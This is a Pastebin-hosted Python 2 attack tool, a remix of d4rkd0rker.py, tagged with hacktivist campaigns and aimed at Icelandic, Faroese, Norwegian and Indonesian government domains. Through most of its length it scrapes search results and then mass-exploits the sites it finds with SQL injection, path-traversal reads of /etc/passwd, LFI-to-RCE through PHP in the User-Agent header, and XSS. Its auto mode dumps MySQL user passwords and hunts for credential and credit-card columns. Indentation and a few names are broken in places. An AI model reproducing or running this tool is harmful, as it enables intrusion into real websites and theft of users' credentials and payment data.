Advertisement
NSAFROG

TARGT DORKER: #OPWHALES #OPKILLINGBAYEU #OPFUNKILL

Jun 27th, 2017
504
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 26.85 KB | None | 0 0
  1. #!/usr/bin/python2
  2. # This was written for educational purpose and pentest only. Use it at your own risk.
  3. # Author will be not responsible for any damage!
  4.  
  5.  
  6. import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, subprocess
  7. from random import choice
  8.  
  9. # Colours
  10. W  = "\033[0m";  
  11. R  = "\033[31m";
  12. G  = "\033[32m";
  13. O  = "\033[33m";
  14. B  = "\033[34m";
  15.  
  16.  
  17. # Banner
  18. def logo():
  19.     print R+"\n|------------------------------------------------------------------|"
  20.     print "|                                   |"
  21.         print "|                          ____  _____  ________    _           |"
  22.     print "|           _  _  |_   \|_   _||_   __  |  / \          |"
  23.     print "|         _| || |_  |   \ | |    | |_ \_| / _        |"
  24.     print "|        |_| || |_| | |\ \| |    |  _|   / ___ \           |"
  25.     print "|        |_| || |_|_| |_\  |_  _| |_  _/ /   \ \_          |"
  26.     print "|          |_||_| |_____|\____||_____||____| |____|         |"
  27.     print "|            National Frog Agency/Central Frog Services     |"
  28.     print "|                                   |"
  29.         print "|                                   |"
  30.     print "|                DESC: Remix of d4rkd0rker.py                      |"
  31.         print "|                NFA: ~Added multi-cntry search                    |"                            
  32.         print "|                      Searches: Iceland, Indonesia(incl GOV)      |"
  33.         print "|                      Faroe Islands & Norway.                     |"
  34.     print "|               Searches: XSS, RCE, LFI/RFI & SQLI                 |"
  35.     print "|               #OpFunKill. #OpWhales. #OpKillingBayEU              |"  
  36.     print "|------------------------------------------------------------------|\n"
  37.     print W
  38.  
  39. if sys.platform == 'linux' or sys.platform == 'linux2':
  40.   subprocess.call("clear", shell=True)
  41.   logo()
  42.  
  43. else:
  44.   subprocess.call("cls", shell=True)
  45.   logo()
  46.  
  47. log = "darkd0rk3r-sqli.txt"
  48. logfile = open(log, "a")
  49. lfi_log = "darkd0rk3r-lfi.txt"
  50. lfi_log_file = open(lfi_log, "a")
  51. rce_log = "darkd0rk3r-rce.txt"
  52. rce_log_file = open(rce_log, "a")
  53. xss_log = "darkd0rk3r-xss.txt"
  54. xss_log_file = open(xss_log, "a")
  55.  
  56. threads = []
  57. finallist = []
  58. vuln = []
  59. col = []
  60. darkurl = []
  61. arg_end = "--"
  62. arg_eva = "+"
  63. colMax = 10 # Change this at your will
  64. gets = 0
  65. file = "/etc/passwd"
  66. timeout = 60
  67. socket.setdefaulttimeout(timeout)
  68.  
  69.  
  70. lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]
  71.  
  72. xsses = ["<h1>XSS by baltazar</h1>","%3Ch1%3EXSS%20by%20baltazar%3C/h1%3E"]
  73.  
  74. tables = ['user','users','tbladmins','Logins','logins','login','admins','members','member', '_wfspro_admin', '4images_users', 'a_admin', 'account', 'accounts', 'adm', 'admin', 'admin_login', 'admin_user', 'admin_userinfo', 'administer', 'administrable', 'administrate', 'administration', 'administrator', 'administrators', 'adminrights', 'admins', 'adminuser','adminusers','article_admin', 'articles', 'artikel','author', 'autore', 'backend', 'backend_users', 'backenduser', 'bbs', 'book', 'chat_config', 'chat_messages', 'chat_users', 'client', 'clients', 'clubconfig', 'company', 'config', 'contact', 'contacts', 'content', 'control', 'cpg_config', 'cpg132_users', 'customer', 'customers', 'customers_basket', 'dbadmins', 'dealer', 'dealers', 'diary', 'download', 'Dragon_users', 'e107.e107_user', 'e107_user', 'forum.ibf_members', 'fusion_user_groups', 'fusion_users', 'group', 'groups', 'ibf_admin_sessions', 'ibf_conf_settings', 'ibf_members', 'ibf_members_converge', 'ibf_sessions', 'icq', 'index', 'info', 'ipb.ibf_members', 'ipb_sessions', 'joomla_users', 'jos_blastchatc_users', 'jos_comprofiler_members', 'jos_contact_details', 'jos_joomblog_users', 'jos_messages_cfg', 'jos_moschat_users', 'jos_users', 'knews_lostpass', 'korisnici', 'kpro_adminlogs', 'kpro_user', 'links', 'login_admin', 'login_admins', 'login_user', 'login_users','logon', 'logs', 'lost_pass', 'lost_passwords', 'lostpass', 'lostpasswords', 'm_admin', 'main', 'mambo_session', 'mambo_users', 'manage', 'manager', 'mb_users','memberlist','minibbtable_users', 'mitglieder', 'mybb_users', 'mysql', 'name', 'names', 'news', 'news_lostpass', 'newsletter', 'nuke_users', 'obb_profiles', 'order', 'orders', 'parol', 'partner', 'partners', 'passes', 'password', 'passwords', 'perdorues', 'perdoruesit', 'phorum_session', 'phorum_user', 'phorum_users', 'phpads_clients', 'phpads_config', 'phpbb_users', 'phpBB2.forum_users', 'phpBB2.phpbb_users', 'phpmyadmin.pma_table_info', 'pma_table_info', 'poll_user', 'punbb_users', 'pwd', 'pwds', 'reg_user', 'reg_users', 'registered', 'reguser', 'regusers', 'session', 'sessions', 'settings', 'shop.cards', 'shop.orders', 'site_login', 'site_logins', 'sitelogin', 'sitelogins', 'sites', 'smallnuke_members', 'smf_members', 'SS_orders', 'statistics', 'superuser', 'sysadmin', 'sysadmins', 'system', 'sysuser', 'sysusers', 'table', 'tables', 'tb_admin', 'tb_administrator', 'tb_login', 'tb_member', 'tb_members', 'tb_user', 'tb_username', 'tb_usernames', 'tb_users', 'tbl', 'tbl_user', 'tbl_users', 'tbluser', 'tbl_clients', 'tbl_client', 'tblclients', 'tblclient', 'test', 'usebb_members','user_admin', 'user_info', 'user_list', 'user_login', 'user_logins', 'user_names', 'usercontrol', 'userinfo', 'userlist', 'userlogins', 'username', 'usernames', 'userrights','vb_user', 'vbulletin_session', 'vbulletin_user', 'voodoo_members', 'webadmin', 'webadmins', 'webmaster', 'webmasters', 'webuser', 'webusers','wp_users', 'x_admin', 'xar_roles', 'xoops_bannerclient', 'xoops_users', 'yabb_settings', 'yabbse_settings', 'Category', 'CategoryGroup', 'ChicksPass', 'dtproperties', 'JamPass', 'News', 'Passwords by usage count', 'PerfPassword', 'PerfPasswordAllSelected','pristup', 'SubCategory', 'tblRestrictedPasswords', 'Ticket System Acc Numbers', 'Total Members', 'UserPreferences', 'tblConfigs', 'tblLogBookAuthor', 'tblLogBookUser', 'tblMails', 'tblOrders', 'tblUser', 'cms_user', 'cms_users', 'cms_admin', 'cms_admins', 'user_name', 'jos_user', 'table_user', 'email', 'mail', 'bulletin', 'login_name', 'admuserinfo', 'userlistuser_list', 'SiteLogin', 'Site_Login', 'UserAdmin']
  75.  
  76. columns = ['user', 'username', 'password', 'passwd', 'pass', 'cc_number', 'id', 'email', 'emri', 'fjalekalimi', 'pwd', 'user_name', 'customers_email_address', 'customers_password', 'user_password', 'name', 'user_pass', 'admin_user', 'admin_password', 'admin_pass', 'usern', 'user_n', 'users', 'login', 'logins', 'login_user', 'login_admin', 'login_username', 'user_username', 'user_login', 'auid', 'apwd', 'adminid', 'admin_id', 'adminuser', 'adminuserid', 'admin_userid', 'adminusername', 'admin_username', 'adminname', 'admin_name', 'usr', 'usr_n', 'usrname', 'usr_name', 'usrpass', 'usr_pass', 'usrnam', 'nc', 'uid', 'userid', 'user_id', 'myusername', 'mail', 'emni', 'logohu', 'punonjes', 'kpro_user', 'wp_users', 'emniplote', 'perdoruesi', 'perdorimi', 'punetoret', 'logini', 'llogaria', 'fjalekalimin', 'kodi', 'emer', 'ime', 'korisnik', 'korisnici', 'user1', 'administrator', 'administrator_name', 'mem_login', 'login_password', 'login_pass', 'login_passwd', 'login_pwd', 'sifra', 'lozinka', 'psw', 'pass1word', 'pass_word', 'passw', 'pass_w', 'user_passwd', 'userpass', 'userpassword', 'userpwd', 'user_pwd', 'useradmin', 'user_admin', 'mypassword', 'passwrd', 'admin_pwd', 'admin_passwd', 'mem_password', 'memlogin', 'e_mail', 'usrn', 'u_name', 'uname', 'mempassword', 'mem_pass', 'mem_passwd', 'mem_pwd', 'p_word', 'pword', 'p_assword', 'myname', 'my_username', 'my_name', 'my_password', 'my_email', 'korisnicko', 'cvvnumber ', 'about', 'access', 'accnt', 'accnts', 'account', 'accounts', 'admin', 'adminemail', 'adminlogin', 'adminmail', 'admins', 'aid', 'aim', 'auth', 'authenticate', 'authentication', 'blog', 'cc_expires', 'cc_owner', 'cc_type', 'cfg', 'cid', 'clientname', 'clientpassword', 'clientusername', 'conf', 'config', 'contact', 'converge_pass_hash', 'converge_pass_salt', 'crack', 'customer', 'customers', 'cvvnumber', 'data', 'db_database_name', 'db_hostname', 'db_password', 'db_username', 'download', 'e-mail', 'emailaddress', 'full', 'gid', 'group', 'group_name', 'hash', 'hashsalt', 'homepage', 'icq', 'icq_number', 'id_group', 'id_member', 'images', 'index', 'ip_address', 'last_ip', 'last_login', 'lastname', 'log', 'login_name', 'login_pw', 'loginkey', 'loginout', 'logo', 'md5hash', 'member', 'member_id', 'member_login_key', 'member_name', 'memberid', 'membername', 'members', 'new', 'news', 'nick', 'number', 'nummer', 'pass_hash', 'passwordsalt', 'passwort', 'personal_key', 'phone', 'privacy', 'pw', 'pwrd', 'salt', 'search', 'secretanswer', 'secretquestion', 'serial', 'session_member_id', 'session_member_login_key', 'sesskey', 'setting', 'sid', 'spacer', 'status', 'store', 'store1', 'store2', 'store3', 'store4', 'table_prefix', 'temp_pass', 'temp_password', 'temppass', 'temppasword', 'text', 'un', 'user_email', 'user_icq', 'user_ip', 'user_level', 'user_passw', 'user_pw', 'user_pword', 'user_pwrd', 'user_un', 'user_uname', 'user_usernm', 'user_usernun', 'user_usrnm', 'userip', 'userlogin', 'usernm', 'userpw', 'usr2', 'usrnm', 'usrs', 'warez', 'xar_name', 'xar_pass']
  77.  
  78.  
  79.  
  80. sqlerrors = {'MySQL': 'error in your SQL syntax',
  81.              'MiscError': 'mysql_fetch',
  82.              'MiscError2': 'num_rows',
  83.              'Oracle': 'ORA-01756',
  84.              'JDBC_CFM': 'Error Executing Database Query',
  85.              'JDBC_CFM2': 'SQLServer JDBC Driver',
  86.              'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
  87.              'MSSQL_Uqm': 'Unclosed quotation mark',
  88.              'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
  89.              'MS-Access_JETdb': 'Microsoft JET Database',
  90.              'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
  91.              'Server Error' : 'Server Error',
  92.              'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
  93.              'Invalid Querystring' : 'Invalid Querystring',
  94.              'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
  95.              'VBScript Runtime' : 'VBScript Runtime',
  96.              'ADODB.Field' : 'ADODB.Field',
  97.              'BOF or EOF' : 'BOF or EOF',
  98.              'ADODB.Command' : 'ADODB.Command',
  99.              'JET Database' : 'JET Database',
  100.              'mysql_fetch_array()' : 'mysql_fetch_array()',
  101.              'Syntax error' : 'Syntax error',
  102.              'mysql_numrows()' : 'mysql_numrows()',
  103.              'GetArray()' : 'GetArray()',
  104.              'FetchRow()' : 'FetchRow()',
  105.              'Input string was not in a correct format' : 'Input string was not in a correct format'}
  106.              
  107.  
  108. header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  109.           'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  110.           'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  111.       'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  112.       'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  113.       'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  114.       'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  115.       'Opera/8.00 (Windows NT 5.1; U; en)',
  116.       'amaya/9.51 libwww/5.4.0',
  117.       'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  118.       'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  119.       'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  120.       'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  121.       'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
  122.       'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
  123.      
  124.      
  125. domains = {'#OpKilingBay#EU #OpFunKill #OpWhales (Chose #1)':['.fo','fo','is','.is','.no','no','gov.fo','.id','id','gov.id']}
  126.  
  127.  
  128. def search(inurl, maxc):
  129.   urls = []
  130.   for site in sitearray:
  131.     page = 0
  132.     try:
  133.       while page < int(maxc):
  134.     jar = cookielib.FileCookieJar("cookies")
  135.     query = inurl+"+site:"+site
  136.     results_web = 'http://www.search-results.com/web?q='+query+'&hl=en&page='+repr(page)+'&src=hmp'
  137.     request_web =urllib2.Request(results_web)
  138.     agent = random.choice(header)
  139.     request_web.add_header('User-Agent', agent)
  140.     opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
  141.     text = opener_web.open(request_web).read()
  142.     stringreg = re.compile('(?<=href=")(.*?)(?=")')
  143.         names = stringreg.findall(text)
  144.         page += 1
  145.         for name in names:
  146.       if name not in urls:
  147.         if re.search(r'\(',name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(http://)\d", name):
  148.           pass
  149.         elif re.search("google",name) or re.search("youtube", name) or re.search("phpbuddy", name) or re.search("iranhack",name) or re.search("phpbuilder",name) or re.search("codingforums", name) or re.search("phpfreaks", name) or re.search("%", name) or re.search("facebook", name) or re.search("twitter", name):
  150.           pass
  151.         else:
  152.           urls.append(name)
  153.     percent = int((1.0*page/int(maxc))*100)
  154.     urls_len = len(urls)
  155.     sys.stdout.write("\rSite: %s | Collected urls: %s | Percent Done: %s | Current page no.: %s <> " % (site,repr(urls_len),repr(percent),repr(page)))
  156.     sys.stdout.flush()
  157.     except(KeyboardInterrupt):
  158.       pass
  159.   tmplist = []
  160.   print "\n\n[+] URLS (unsorted): ",len(urls)
  161.   for url in urls:
  162.     try:
  163.       host = url.split("/",3)
  164.       domain = host[2]
  165.       if domain not in tmplist and "=" in url:
  166.     finallist.append(url)
  167.     tmplist.append(domain)
  168.    
  169.     except:
  170.       pass
  171.   print "[+] URLS (sorted)  : ",len(finallist)
  172.   return finallist
  173.  
  174.  
  175. class injThread(threading.Thread):
  176.         def __init__(self,hosts):
  177.                 self.hosts=hosts
  178.                 self.fcount = 0
  179.                 self.check = True
  180.                 threading.Thread.__init__(self)
  181.  
  182.         def run (self):
  183.                 urls = list(self.hosts)
  184.                 for url in urls:
  185.                         try:
  186.                                 if self.check == True:
  187.                                         ClassicINJ(url)
  188.                                 else:
  189.                                         break
  190.                         except(KeyboardInterrupt,ValueError):
  191.                                 pass
  192.                 self.fcount+=1
  193.  
  194.         def stop(self):
  195.                 self.check = False
  196.                
  197. class lfiThread(threading.Thread):
  198.         def __init__(self,hosts):
  199.                 self.hosts=hosts
  200.                 self.fcount = 0
  201.                 self.check = True
  202.                 threading.Thread.__init__(self)
  203.  
  204.         def run (self):
  205.                 urls = list(self.hosts)
  206.                 for url in urls:
  207.                         try:
  208.                                 if self.check == True:
  209.                                         ClassicLFI(url)
  210.                                 else:
  211.                                         break
  212.                         except(KeyboardInterrupt,ValueError):
  213.                                 pass
  214.                 self.fcount+=1
  215.  
  216.         def stop(self):
  217.                 self.check = False
  218.                
  219. class xssThread(threading.Thread):
  220.         def __init__(self,hosts):
  221.                 self.hosts=hosts
  222.                 self.fcount = 0
  223.                 self.check = True
  224.                 threading.Thread.__init__(self)
  225.  
  226.         def run (self):
  227.                 urls = list(self.hosts)
  228.                 for url in urls:
  229.                         try:
  230.                                 if self.check == True:
  231.                                         ClassicXSS(url)
  232.                                 else:
  233.                                         break
  234.                         except(KeyboardInterrupt,ValueError):
  235.                                 pass
  236.                 self.fcount+=1
  237.  
  238.         def stop(self):
  239.                 self.check = False
  240.                
  241.                
  242. def ClassicINJ(url):
  243.         EXT = "'"
  244.         host = url+EXT
  245.         try:
  246.                 source = urllib2.urlopen(host).read()
  247.                 for type,eMSG in sqlerrors.items():
  248.                         if re.search(eMSG, source):
  249.                                 print R+"[!] w00t!,w00t!:", O+host, B+"Error:", type,R+" ---> SQL Injection Found"
  250.                 logfile.write("\n"+host)
  251.                 vuln.append(host)
  252.                 col.append(host)
  253.                 break
  254.                
  255.                
  256.                         else:
  257.                                 pass
  258.         except:
  259.                 pass
  260.  
  261.  
  262. def ClassicLFI(url):
  263.   lfiurl = url.rsplit('=', 1)[0]
  264.   if lfiurl[-1] != "=":
  265.     lfiurl = lfiurl + "="
  266.   for lfi in lfis:
  267.     try:
  268.       check = urllib2.urlopen(lfiurl+lfi.replace("\n", "")).read()
  269.       if re.findall("root:x", check):
  270.     print R+"[!] w00t!,w00t!: ", O+lfiurl+lfi,R+" ---> Local File Include Found"
  271.     lfi_log_file.write("\n"+lfiurl+lfi)
  272.     vuln.append(lfiurl+lfi)
  273.     target = lfiurl+lfi
  274.     target = target.replace("/etc/passwd","/proc/self/environ")
  275.     header = "<? echo md5(baltazar); ?>"
  276.         try:
  277.       request_web = urllib2.Request(target)
  278.       request_web.add_header('User-Agent', header)
  279.       text = urllib2.urlopen(request_web)
  280.       text = text.read()
  281.       if re.findall("f17f4b3e8e709cd3c89a6dbd949d7171", text):
  282.         print R+"[!] w00t!,w00t!: ",O+target,R+" ---> LFI to RCE Found"
  283.         rce_log_file.write("\n",target)
  284.         vuln.append(target)
  285.         except:
  286.       pass
  287.    
  288.     except:
  289.       pass
  290.  
  291. def ClassicXSS(url):
  292.   for xss in xsses:
  293.     try:
  294.       source = urllib2.urlopen(url+xss.replace("\n","")).read()
  295.       if re.findall("XSS by baltazar", source):
  296.     print R+"[!] w00t!,w00t!: ", O+url+xss,R+" ---> XSS Found (might be false)"
  297.     xss_log_file.write("\n"+url+xss)
  298.     vuln.append(url+xss)
  299.     except:
  300.       pass
  301.  
  302. def injtest():
  303.   print B+"\n[+] Preparing for SQLi scanning ..."
  304.   print "[+] Can take a while ..."
  305.   print "[!] Working ...\n"
  306.   i = len(usearch) / int(numthreads)
  307.   m = len(usearch) % int(numthreads)
  308.   z = 0
  309.   if len(threads) <= numthreads:
  310.     for x in range(0, int(numthreads)):
  311.       sliced = usearch[x*i:(x+1)*i]
  312.       if (z<m):
  313.     sliced.append(usearch[int(numthreads)*i+z])
  314.     z +=1
  315.       thread = injThread(sliced)
  316.       thread.start()
  317.       threads.append(thread)
  318.     for thread in threads:
  319.       thread.join()
  320.      
  321. def lfitest():
  322.   print B+"\n[+] Preparing for LFI - RCE scanning ..."
  323.   print "[+] Can take a while ..."
  324.   print "[!] Working ...\n"
  325.   i = len(usearch) / int(numthreads)
  326.   m = len(usearch) % int(numthreads)
  327.   z = 0
  328.   if len(threads) <= numthreads:
  329.     for x in range(0, int(numthreads)):
  330.       sliced = usearch[x*i:(x+1)*i]
  331.       if (z<m):
  332.     sliced.append(usearch[int(numthreads)*i+z])
  333.     z +=1
  334.       thread = lfiThread(sliced)
  335.       thread.start()
  336.       threads.append(thread)
  337.     for thread in threads:
  338.       thread.join()
  339.  
  340. def xsstest():
  341.   print B+"\n[+] Preparing for XSS scanning ..."
  342.   print "[+] Can take a while ..."
  343.   print "[!] Working ...\n"
  344.   i = len(usearch) / int(numthreads)
  345.   m = len(usearch) % int(numthreads)
  346.   z = 0
  347.   if len(threads) <= numthreads:
  348.     for x in range(0, int(numthreads)):
  349.       sliced = usearch[x*i:(x+1)*i]
  350.       if (z<m):
  351.     sliced.append(usearch[int(numthreads)*i+z])
  352.     z +=1
  353.       thread = xssThread(sliced)
  354.       thread.start()
  355.       threads.append(thread)
  356.     for thread in threads:
  357.       thread.join()
  358.  
  359. menu = True
  360. new = 1
  361. while menu == True:
  362.   if new == 1:
  363.     threads = []
  364.     finallist = []
  365.     vuln = []
  366.     col = []
  367.     darkurl = []
  368.    
  369.     stecnt = 0
  370.     for k,v in domains.items():
  371.       stecnt += 1
  372.       print str(stecnt)+" - "+k
  373.     sitekey = raw_input("\nChoose your target   : ")
  374.     sitearray = domains[domains.keys()[int(sitekey)-1]]
  375.    
  376.  
  377.     inurl = raw_input('\nEnter your dork      : ')
  378.     numthreads = raw_input('Enter no. of threads : ')
  379.     maxc = raw_input('Enter no. of pages   : ')
  380.     print "\nNumber of SQL errors :",len(sqlerrors)
  381.     print "Number of LFI paths  :",len(lfis)
  382.     print "Number of XSS cheats :",len(xsses)
  383.     print "Number of headers    :",len(header)
  384.     print "Number of threads    :",numthreads
  385.     print "Number of pages      :",maxc
  386.     print "Timeout in seconds   :",timeout
  387.     print ""
  388.  
  389.     usearch = search(inurl,maxc)
  390.     new = 0
  391.  
  392.   print R+"\n[0] Exit"
  393.   print "[1] SQLi Testing"
  394.   print "[2] SQLi Testing Auto Mode"
  395.   print "[3] LFI - RCE Testing"
  396.   print "[4] XSS Testing"
  397.   print "[5] SQLi and LFI - RCE Testing"
  398.   print "[6] SQLi and XSS Testing"
  399.   print "[7] LFI - RCE and XSS Testing"
  400.   print "[8] SQLi,LFI - RCE and XSS Testing"
  401.   print "[9] Save valid urls to file"
  402.   print "[10] Print valid urls"
  403.   print "[11] Found vuln in last scan"
  404.   print "[12] New Scan\n"
  405.  
  406.   chce = raw_input(":")
  407.   if chce == '1':
  408.     injtest()
  409.    
  410.   if chce == '2':
  411.     injtest()
  412.     print B+"\n[+] Preparing for Column Finder ..."
  413.     print "[+] Can take a while ..."
  414.     print "[!] Working ..."
  415.     # Thanks rsauron for schemafuzz
  416.     for host in col:
  417.       print R+"\n[+] Target: ", O+host
  418.       print R+"[+] Attempting to find the number of columns ..."
  419.       print "[+] Testing: ",
  420.       checkfor = []
  421.       host = host.rsplit("'", 1)[0]
  422.       sitenew = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva
  423.       makepretty = ""
  424.       for x in xrange(0, colMax):
  425.     try:
  426.       sys.stdout.write("%s," % (x))
  427.       sys.stdout.flush()
  428.       darkc0de = "dark"+str(x)+"c0de"
  429.       checkfor.append(darkc0de)
  430.       if x > 0:
  431.         sitenew += ","
  432.       sitenew += "0x"+darkc0de.encode("hex")
  433.       finalurl = sitenew+arg_end
  434.       gets += 1
  435.       source = urllib2.urlopen(finalurl).read()
  436.       for y in checkfor:
  437.         colFound = re.findall(y, source)
  438.         if len(colFound) >= 1:
  439.           print "\n[+] Column length is:", len(checkfor)
  440.           nullcol = re.findall(("\d+"), y)
  441.           print "[+] Found null column at column #:", nullcol[0]
  442.           for z in xrange(0, len(checkfor)):
  443.         if z > 0:
  444.           makepretty += ","
  445.         makepretty += str(z)
  446.           site = host+arg_eva+"and"+arg_eva+"1=2"+arg_eva+"union"+arg_eva+"all"+arg_eva+"select"+arg_eva+makepretty
  447.           print "[+] SQLi URL:", site+arg_end
  448.           site = site.replace(","+nullcol[0]+",",",darkc0de,")
  449.           site = site.replace(arg_eva+nullcol[0]+",",arg_eva+"darkc0de,")
  450.           site = site.replace(","+nullcol[0],",darkc0de")
  451.           print "[+] darkc0de URL:", site
  452.           darkurl.append(site)
  453.           print "[-] Done!\n"
  454.           break
  455.          
  456.     except(KeyboardInterrupt, SystemExit):
  457.       raise
  458.     except:
  459.       pass
  460.      
  461.       print "\n[!] Sorry column length could not be found\n"
  462.      
  463.      
  464.       #########
  465.    
  466.     print B+"\n[+] Gathering MySQL Server Configuration..."
  467.     for site in darkurl:
  468.       head_URL = site.replace("darkc0de", "concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end
  469.       print R+"\n[+] Target:", O+site
  470.       while 1:
  471.     try:
  472.       gets += 1
  473.       source = urllib2.urlopen(head_URL).read()
  474.       match = re.findall("\x1e\x1e\S+", source)
  475.       if len(match) >= 1:
  476.         match = match[0][2:].split("\x1e")
  477.         version = match[0]
  478.         user = match[1]
  479.         database = match[2]
  480.         print W+"\n\tDatabase:", database
  481.         print "\tUser:", user
  482.         print "\tVersion:", version
  483.         version = version[0]
  484.      
  485.         load = site.replace("darkc0de", "load_file(0x2f6574632f706173737764)")
  486.         source = urllib2.urlopen(load).read()
  487.         if re.findall("root:x", source):
  488.           load = site.replace("darkc0de","concat_ws(char(58),load_file(0x"+file.encode("hex")+"),0x62616c74617a6172)")
  489.           source = urllib2.urlopen(load).read()
  490.           search = re.findall("baltazar",source)
  491.           if len(search) > 0:
  492.         print "\n[!] w00t!w00t!: "+site.replace("darkc0de", "load_file(0x"+file.encode("hex")+")")
  493.        
  494.         load = site.replace("dakrc0de", "concat_ws(char(58),user,password,0x62616c74617a6172)")+arg_eva+"from"+arg_eva+"mysql.user"
  495.         source = urllib2.urlopen(load).read()
  496.         if re.findall("baltazar", source):
  497.           print "\n[!] w00t!w00t!: "+site.replace("darkc0de", "concat_ws(char(58),user,password)")+arg_eva+"from"+arg_eva+"mysql.user"
  498.      
  499.       print W+"\n[+] Number of tables:",len(tables)
  500.       print "[+] Number of columns:",len(columns)
  501.           print "[+] Checking for tables and columns..."
  502.           target = site.replace("darkc0de", "0x62616c74617a6172")+arg_eva+"from"+arg_eva+"T"
  503.       for table in tables:
  504.             try:
  505.           target_table = target.replace("T", table)
  506.           source = urllib2.urlopen(target_table).read()
  507.           search = re.findall("baltazar", source)
  508.           if len(search) > 0:
  509.         print "\n[!] w00t!w00t! Found a table called: < "+table+" >"
  510.         print "\n[+] Lets check for columns inside table < "+table+" >"
  511.         for column in columns:
  512.           try:
  513.             source = urllib2.urlopen(target_table.replace("0x62616c74617a6172", "concat_ws(char(58),0x62616c74617a6172,"+column+")")).read()
  514.             search = re.findall("baltazar", source)
  515.             if len(search) > 0:
  516.               print "\t[!] w00t!w00t! Found a column called: < "+column+" >"
  517.           except(KeyboardInterrupt, SystemExit):
  518.             raise
  519.           except(urllib2.URLErrr, socket.gaierror, socket.error, socket.timeout):
  520.             pass
  521.        
  522.         print "\n[-] Done searching inside table < "+table+" > for columns!"
  523.      
  524.         except(KeyboardInterrupt, SystemExit):
  525.           raise
  526.         except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout):
  527.           pass
  528.       print "[!] Fuzzing is finished!"
  529.       break  
  530.     except(KeyboardInterrupt, SystemExit):
  531.       raise
  532.    
  533.    
  534.    
  535.    
  536.      
  537.   if chce == '3':
  538.     lfitest()
  539.  
  540.   if chce == '4':
  541.     xsstest()
  542.    
  543.   if chce == '5':
  544.     injtest()
  545.     lfitest()
  546.      
  547.   if chce == '6':
  548.     injtest()
  549.     xsstest()
  550.    
  551.   if chce == '7':
  552.     lfitest()
  553.     xsstest()
  554.    
  555.   if chce == '8':
  556.     injtest()
  557.     lfitest()
  558.     xsstest()
  559.    
  560.   if chce == '9':
  561.     print B+"\nSaving valid urls ("+str(len(finallist))+") to file"
  562.     listname = raw_input("Filename: ")
  563.     list_name = open(listname, "w")
  564.     finallist.sort()
  565.     for t in finallist:
  566.       list_name.write(t+"\n")
  567.     list_name.close()
  568.     print "Urls saved, please check", listname
  569.    
  570.   if chce == '10':
  571.     print W+"\nPrinting valid urls:\n"
  572.     finallist.sort()
  573.     for t in finallist:
  574.       print B+t
  575.      
  576.   if chce == '11':
  577.     print B+"\nVuln found ",len(vuln)
  578.    
  579.   if chce == '12':
  580.     new = 1
  581.     print W+""
  582.  
  583.   if chce == '0':
  584.     print R+"\n[-] Exiting ..."
  585.     mnu = False
  586.     print W
  587.     sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement